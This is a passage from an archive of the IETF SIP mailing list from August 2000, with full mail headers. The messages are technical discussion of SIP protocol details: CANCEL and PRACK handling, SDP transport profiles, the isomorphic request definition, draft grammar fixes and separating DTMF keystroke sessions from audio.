I'm not saying it can't be done, just that we haven't said >how to do it yet. By the way, Colin Perkins, a participant in this >thread, was an author of the 2198 RFC for audio redundancy. Colin, if I >am putting words in your mouth, speak up. I suggest you read RFC 2793 which describes how to use RFC 2198 redundancy as a `reliable' transport for non-audio keystrokes. Colin _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 17:32:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA05766 for ; Fri, 11 Aug 2000 17:32:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7E30744395; Fri, 11 Aug 2000 17:31:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 261CE44368 for ; Fri, 11 Aug 2000 17:31:02 -0400 (EDT) Received: from rtp-xdm1.cisco.com (rtp-xdm1.cisco.com [161.44.3.80]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id OAA18919 for ; Fri, 11 Aug 2000 14:31:17 -0700 (PDT) Received: from cisco.com (localhost [127.0.0.1]) by rtp-xdm1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id RAA15367 for ; Fri, 11 Aug 2000 17:30:39 -0400 (EDT) Message-ID: <3994707F.D7349A03@cisco.com> Date: Fri, 11 Aug 2000 17:30:39 -0400 From: Sudipto Mukherjee Organization: Cisco X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] CANCEL & Reliability of provisional responses draft Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, The "reliability of provisional responses" draft mandates that the To header in PRACK mirror the "tag", if the provisional response contained one. Also the PRACK must take the path specified by the Route header, if the provisional response contained Record-route headers. If the UAC needs to send a CANCEL after it has received a non-100 reliable provisional response with a to-tag and record-route, Does the CANCEL still mirror the INVITE being cancelled ? Or, Based on the provisional response, 1. Does the CANCEL mirror the "tag" in To header ? 2. Does the CANCEL take the path specified by the Route header ? Your help in clarifying this issue is appreciated. Thanks -- Sudipto _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 17:48:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA06092 for ; Fri, 11 Aug 2000 17:48:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DD0B644399; Fri, 11 Aug 2000 17:48:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 7C21944368 for ; Fri, 11 Aug 2000 17:48:18 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id RAA05498; Fri, 11 Aug 2000 17:33:07 -0400 (EDT) Message-ID: <399471FC.8C8713D7@dynamicsoft.com> Date: Fri, 11 Aug 2000 17:37:00 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: discussion@sipforum.org, sip References: <002b01c00339$80468ba0$2c01010a@mediaring.com.sg> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: [SIPFORUM] Custom information - Newbee question Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit PLEASE, folks. Use the main sip list for sip technical questions, NOT the sipforum list. The SIP supported header allows clients to express extesnions they support, so the server can know if it is OK to place additional new headers in the response. http://www.ietf.org/internet-drafts/draft-ietf-sip-serverfeatures-02.txt -Jonathan R. Annamalai Meenatchy wrote: > > Hi All, > > Is it possible to send some custom information to USC in a "OK" response. > Basically the callee needs to send some application specific information to > the caller. How can I achieve this using SIP? > > Thanks in advance, > Meena -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 12 06:55:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA29912 for ; Sat, 12 Aug 2000 06:55:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7FAB544371; Sat, 12 Aug 2000 06:54:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f306.law7.hotmail.com [216.33.236.184]) by lists.bell-labs.com (Postfix) with ESMTP id AFC6344336 for ; Sat, 12 Aug 2000 06:54:50 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 12 Aug 2000 03:54:50 -0700 Received: from 164.164.6.31 by lw7fd.law7.hotmail.msn.com with HTTP; Sat, 12 Aug 2000 GMT X-Originating-IP: [164.164.6.31] From: "rahul pande" To: sip@lists.bell-labs.com Date: Sat, 12 Aug 2000 10:54:50 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Aug 2000 10:54:50.0104 (UTC) FILETIME=[BCAF5780:01C0044B] Subject: [SIP] Is it possible with SIP???? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hi all, A strong doubt has cropped in my mind relating to multicast conferencing, since most corporate disable udp packets fully, Is there anyone who is making use of the SIP stack to do conferencing on the internet presently or they are all using it for their LANs and waiting for RTP over TCP and multicasting also over tcp. Please give me the details. Thanking you all, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 12 12:40:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03748 for ; Sat, 12 Aug 2000 12:40:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0C8D844373; Sat, 12 Aug 2000 12:40:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from godzilla.ipdialog.com (mail.ipdialog.com [208.238.222.66]) by lists.bell-labs.com (Postfix) with ESMTP id 07A0244336 for ; Sat, 12 Aug 2000 12:40:16 -0400 (EDT) Received: from ipdialog.com (IDENT:hch@repoman.ipdialog.com [208.238.222.70]) by godzilla.ipdialog.com (8.9.3/8.8.7) with ESMTP id JAA01429; Sat, 12 Aug 2000 09:39:17 -0700 Message-ID: <39957DB5.4563219F@ipdialog.com> Date: Sat, 12 Aug 2000 09:39:17 -0700 From: Howard Hart Organization: ipDialog, Inc. X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.12-20 i586) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Is it possible with SIP???? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I haven't heard of any corporations "disabling udp packets fully" unless you mean disabling general UDP access from the outside through a corporate or other Firewall. I do know that several ISPs support internal multicast backbones using varied pricing schemes, though I'm not aware of any that support inter-ISP multicast. That's usually addressed either by NSP's to different degrees or build-your-own backbone, neither of which is cheap. Howard Hart ipDialog, Inc. rahul pande wrote: > hi all, > A strong doubt has cropped in my mind relating to multicast > conferencing, since most corporate disable udp packets fully, Is there > anyone who is making use of the SIP stack to do conferencing on the internet > presently or they are all using it for their LANs and waiting for RTP over > TCP and multicasting also over tcp. Please give me the details. > Thanking you all, > rahul > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 13 07:46:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07733 for ; Sun, 13 Aug 2000 07:46:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CE31A44338; Sun, 13 Aug 2000 07:46:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ids2.idsonline.com (ids2.idsonline.com [205.177.236.32]) by lists.bell-labs.com (Postfix) with ESMTP id E4AE244336 for ; Sun, 13 Aug 2000 07:46:27 -0400 (EDT) Received: from 21rst-century.com (dc-csesp140.idsonline.com [207.176.21.140]) by ids2.idsonline.com (8.9.1/8.6.9) with ESMTP id HAA22622; Sun, 13 Aug 2000 07:45:45 -0400 Message-ID: <39968A8E.941E0EAA@21rst-century.com> Date: Sun, 13 Aug 2000 07:46:22 -0400 From: Thomas Marshall Eubanks Reply-To: tme@21rst-century.com X-Mailer: Mozilla 4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Is it possible with SIP???? References: Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rahul pande wrote: > hi all, > A strong doubt has cropped in my mind relating to multicast > conferencing, since most corporate disable udp packets fully, Is there > anyone who is making use of the SIP stack to do conferencing on the internet > presently or they are all using it for their LANs and waiting for RTP over > TCP and multicasting also over tcp. Please give me the details. > Thanking you all, > rahul > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip Hello; A little secret is that many corporate firewalls that "block UDP traffic" keep open a range of ports for UDP traffic from RealNetworks. They do this because of complaints from their users if they can't get Real. If SIP also blocks out a range of ports, and has a good security record, and is in frequent use, this will probably not be much of a problem. Regards Marshall Eubanks T.M. Eubanks Multicast Technologies, Inc 10301 Democracy Lane, Suite 410 Fairfax, Virginia 22030 Phone : 703-293-9624 Fax : 703-293-9609 e-mail : tme@21rst-century.com tme@multicasttech.com http://www.buzzwaves.com http://www.on-the-i.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 13 09:52:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08668 for ; Sun, 13 Aug 2000 09:52:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1079B4433F; Sun, 13 Aug 2000 09:51:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web106.yahoomail.com (web106.yahoomail.com [205.180.60.73]) by lists.bell-labs.com (Postfix) with SMTP id 0614E44336 for ; Sun, 13 Aug 2000 09:51:34 -0400 (EDT) Received: (qmail 7450 invoked by uid 60001); 13 Aug 2000 13:51:23 -0000 Message-ID: <20000813135123.7449.qmail@web106.yahoomail.com> Received: from [206.172.228.159] by web106.yahoomail.com; Sun, 13 Aug 2000 06:51:23 PDT Date: Sun, 13 Aug 2000 06:51:23 -0700 (PDT) From: Tom Gray Subject: [SIP] CPL, WML, VoiceXML and SIP Features To: sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Has tehre been an anaysis done that outlines and contrasts the areas of competence and teh aims of: a) CPL, b) WML, c) VoiceXML and d) the call processing features and user preferences defined for SIP? Tom Gray __________________________________________________ Do You Yahoo!? Yahoo! Mail – Free email you can access from anywhere! http://mail.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 13 18:54:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13521 for ; Sun, 13 Aug 2000 18:54:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D562544339; Sun, 13 Aug 2000 18:54:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web125.yahoomail.com (web125.yahoomail.com [205.180.60.193]) by lists.bell-labs.com (Postfix) with SMTP id C2FBB44336 for ; Sun, 13 Aug 2000 18:54:00 -0400 (EDT) Received: (qmail 24470 invoked by uid 60001); 13 Aug 2000 22:53:54 -0000 Message-ID: <20000813225354.24469.qmail@web125.yahoomail.com> Received: from [206.172.244.144] by web125.yahoomail.com; Sun, 13 Aug 2000 15:53:54 PDT Date: Sun, 13 Aug 2000 15:53:54 -0700 (PDT) From: Tom Gray Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features To: Tom Gray , sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com It would be nice if the inter-relationships between these protocols (CPL, WML, VoiceXML and SIP features) and the call processing problem could be captured in an informational RFC to eliminate duplicated effort and to identify areas in which no protocol has been set up. An expecially important set of topics would be areas in which it would be undesirable for a protocol to be created. There was a suggestion here previously that CPL be extended to encompass switches on authorization. This is coming perilously near the use of CPL to handle classes of service. This would be one step on an infinite journey of defining a call processing architecture which could not be finished. it would be like painting the Golden Gate Bridge. When it is done, it is time to start over. Tom Gray __________________________________________________ Do You Yahoo!? Yahoo! Mail – Free email you can access from anywhere! http://mail.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 08:38:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05435 for ; Mon, 14 Aug 2000 08:38:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 10E8644349; Mon, 14 Aug 2000 08:37:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id DC9FC44336 for ; Mon, 14 Aug 2000 08:37:21 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13OJUM-0006mt-00; Mon, 14 Aug 2000 08:37:10 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id IAA06973; Mon, 14 Aug 2000 08:30:22 -0400 (EDT) Message-Id: <4.3.2.7.2.20000814083557.00d63760@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 14 Aug 2000 08:38:24 -0400 To: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , "'Jonathan Rosenberg'" From: David Yon Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Cc: sip@lists.bell-labs.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I just want to clarify that you are not suggesting that we go solely with the "TCP-AVP" nomenclature, yes? Rather, you're suggesting that we have "TCP" (or some such that suggests raw TCP with no AVP) *and* a "RTP/AVP-TCP" which implies RTP/AVP using TCP rather than UDP. Have I got that right? At 06:59 PM 8/10/00 -0700, Fairlie-Cuninghame, Robert wrote: >I still beleive that both a tcp and a RTP/AVP-TCP SDP profile will have >their uses. For instance, Henning just mentioned using reliable RTP >text/digit transport through TCP in another stream. > >Robert. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 09:51:22 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08216 for ; Mon, 14 Aug 2000 09:51:22 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6715A4436C; Mon, 14 Aug 2000 09:47:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from showboat.teradyne.com (unknown [198.51.251.10]) by lists.bell-labs.com (Postfix) with ESMTP id 9136B44336 for ; Mon, 14 Aug 2000 09:47:08 -0400 (EDT) Received: from chorus.teradyne.com (chorus.teradyne.com [131.101.1.195]) by showboat.teradyne.com (8.8.8+Sun/8.8.8) with ESMTP id JAA15774; Mon, 14 Aug 2000 09:44:59 -0400 (EDT) Received: from notes.teradyne.com (jaypeak.corp.teradyne.com [131.101.17.23]) by chorus.teradyne.com (8.8.8+Sun/8.7.1) with SMTP id JAA25338; Mon, 14 Aug 2000 09:46:58 -0400 (EDT) Received: by notes.teradyne.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 8525693B.004C03BC ; Mon, 14 Aug 2000 09:50:16 -0400 X-Lotus-FromDomain: TERADYNE From: "Kevin Davis" To: Tom Gray Cc: sip@lists.bell-labs.com Message-ID: <8525693B.004C0201.00@notes.teradyne.com> Date: Mon, 14 Aug 2000 09:51:48 -0400 Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The XTML spec includes a brief comparison with CPL and VoiceXML (Although this does not thoroughly answer the question.) >Has tehre been an anaysis done that outlines and >contrasts the areas of competence and teh aims of: > >a) CPL, >b) WML, >c) VoiceXML and >d) the call processing features and user preferences >defined for SIP? _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 09:56:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08569 for ; Mon, 14 Aug 2000 09:56:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DFEAA4436D; Mon, 14 Aug 2000 09:48:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 64F9344368 for ; Fri, 11 Aug 2000 17:52:52 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA18991; Fri, 11 Aug 2000 17:52:49 -0400 (EDT) Message-ID: <399475B1.CCD22EE3@cs.columbia.edu> Date: Fri, 11 Aug 2000 17:52:49 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: Garret Wilson , SIP List Subject: Re: [SIP] isomorphic clarification References: <00ff01c00300$71da7740$1bdd4240@sfmissn1.sfba.home.com> <39943670.CE20E0C6@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > Garret Wilson wrote: > > > > The SIP specification states that, "Two requests or responses are defined to > > be isomorphic for the purposes > > of this document if they have the same values for the Call-ID, To, From and > > CSeq header fields." > > The -01 draft also mentions that the Request URIs must be identical, to > support spirals. > > As an additional thing, the *top* Vias must be the same, in order to > detect merged requests. We should add this here and elsewhere in the > document as needed. Might be good to have an example for this. > > You later write: > > I just realized that the latest spec explains how to compare URIs. The > > question remains that, if two URI's are equal yet not identical in string > > format, are two From headers (for example) which contain these two URIs > > considered to have the "same value" as per the definition of isomorphic? > > Yes. Two FRoms are equal if (1) their URIs match under URI comparison, > (2) their From parameters match, based on standard matching rules for > header parameters (case sensitive equality of both name and value). Presumably parameters missing in one of the From/To are ignored in the comparison. This seems to work for 'tag'. Note that according to RFC 2616 and the BNF definition, "literal" Quotation marks surround literal text. Unless stated otherwise, the text is case-*in*sensitive. Added to URI section (not sure what you mean by "this section"). -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 09:59:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08717 for ; Mon, 14 Aug 2000 09:59:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EE8DD44372; Mon, 14 Aug 2000 09:48:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id F108244368 for ; Fri, 11 Aug 2000 16:34:08 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA13555; Fri, 11 Aug 2000 16:34:06 -0400 (EDT) Message-ID: <3994633E.532D6290@cs.columbia.edu> Date: Fri, 11 Aug 2000 16:34:06 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: brian.bidulock@inet.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-00.txt,.ps References: <200008101420.KAA32432@fish-ha.research.att.com> <3992BB8F.7A2F0C5@cs.columbia.edu> <20000811014615.A11841@inet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Brian F. G. Bidulock" wrote: > > > delete > > < tag-param = "tag=" UUID > < UUID = 1*( HEX | "-" ) Deleted, since it doesn't belong in URLs. > > In Section 3 SIP Message Overview: > > add Call-Info header lines to general-header syntax: Done. > > In Section 4.1 Request-Line: > > absoluteURI should be defined or reference [RFC2068] Section 3.2.1. There are other items from that RFC, so just reference added. > In Section 6.14 Contact: > > qvalue should be defined here or RFC2068 Section 3.9 referenced. > delta-seconds should be defined here or RFC2068 Section 3.3.2 referenced. Added. > > In Section 6.17 Content-Language: > > < See [H14.12] No, since H now references RFC 2616, the current HTTP/1.1 spec. Thanks for your careful reading! -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 14 10:02:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08880 for ; Mon, 14 Aug 2000 10:02:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4D9F244388; Mon, 14 Aug 2000 09:48:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 0A1D744368 for ; Fri, 11 Aug 2000 18:15:27 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id SAA20165; Fri, 11 Aug 2000 18:15:25 -0400 (EDT) Message-ID: <39947AFD.3967E272@cs.columbia.edu> Date: Fri, 11 Aug 2000 18:15:25 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Skip Cave Cc: SIP Mail List Subject: Re: [SIP] DTMF and Universal Input References: <3993BDAC.408B54BB@gte.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Skip Cave wrote: > > 1) A UA client (Term1) INVITES a UA server (Term2) and establishes an > audio session, a keystroke session, and a video session between Term1 > and Term2 using SDP. Term1 is the transmitter of the media (keystrokes, > audio, video) in all three sessions. Term2 is the receiver of all media > in all sessions. > > 2) Term2 wishes to redirect Term1's audio media stream to a third party, > a UA server called Term3. Term2 RE-INVITES Term1's audio session to go > to Term3's port. However, the keystroke and video sessions transmitting > from Term1 to Term2 are NOT to be disturbed. We only want to redirect > Term1's audio session to Term3. All other sessions are to be left alone. > If audio and keystrokes are in the same SDP session, how do we do this? > Keystrokes need to have their own session in this scenario. RFC 2833 > puts both media types in one session. Several choices: - Create a new session (by adding a new m= line) for keyboard only. Use the c= line to direct it to Term2. Leave the c= lines for video alone. Use a different c= line to point audio to Term3. - Have the terminal that also wants audio or keystrokes to INVITE itself as another call leg to the session. > > 3) After we finish redirecting Term1's audio to Term3, we decide that a > fourth party needs to be involved (Term4). We want both Term1's audio > and Term1's keystrokes to be sent to Term4, but we DON'T want to disturb > the keystrokes and video going from 1-2, or the audio going from 1-3. > Term2 re-invites Term1 again, asking Term1 to replicate his keystroke > session and send a copy of the keystroke session to Term4. Term1 is now > essentially multi-unicasting his keystroke session to both Term2 and > Term4. Similarly, in the re-invite we ask Term1 to multi-unicast his > audio to Term2 and Term4. If audio and keystrokes are in the same SDP > session, how do we do this? Keystrokes need to have their own session in > this scenario. > > I can go on in this vein, but you get the idea. Why do we require > keystrokes to be in the same session as the audio? Why did we pick the > audio session instead of the video session to carry keystrokes? Better > yet, why not give keystrokes their own session permanently. This makes > the above senarios much simpler, and doesn't affect the PSTN-PSTN > transport problem, other than you need two SDP sessions (tones and > audio)for that particular requirement. Simply modify RFC 2833 to require > two sessions - one for keystrokes and signaling, and one for voice > audio. Now you can treat them as the separate entities they really are, > and not a hybrid construct that is specific to the PSTN. I haven't heard > any reasons why this isn't a better solution. Has to do with ease of synchronization at the tone reconstruction point. You want to allow both: - embedded in audio stream for 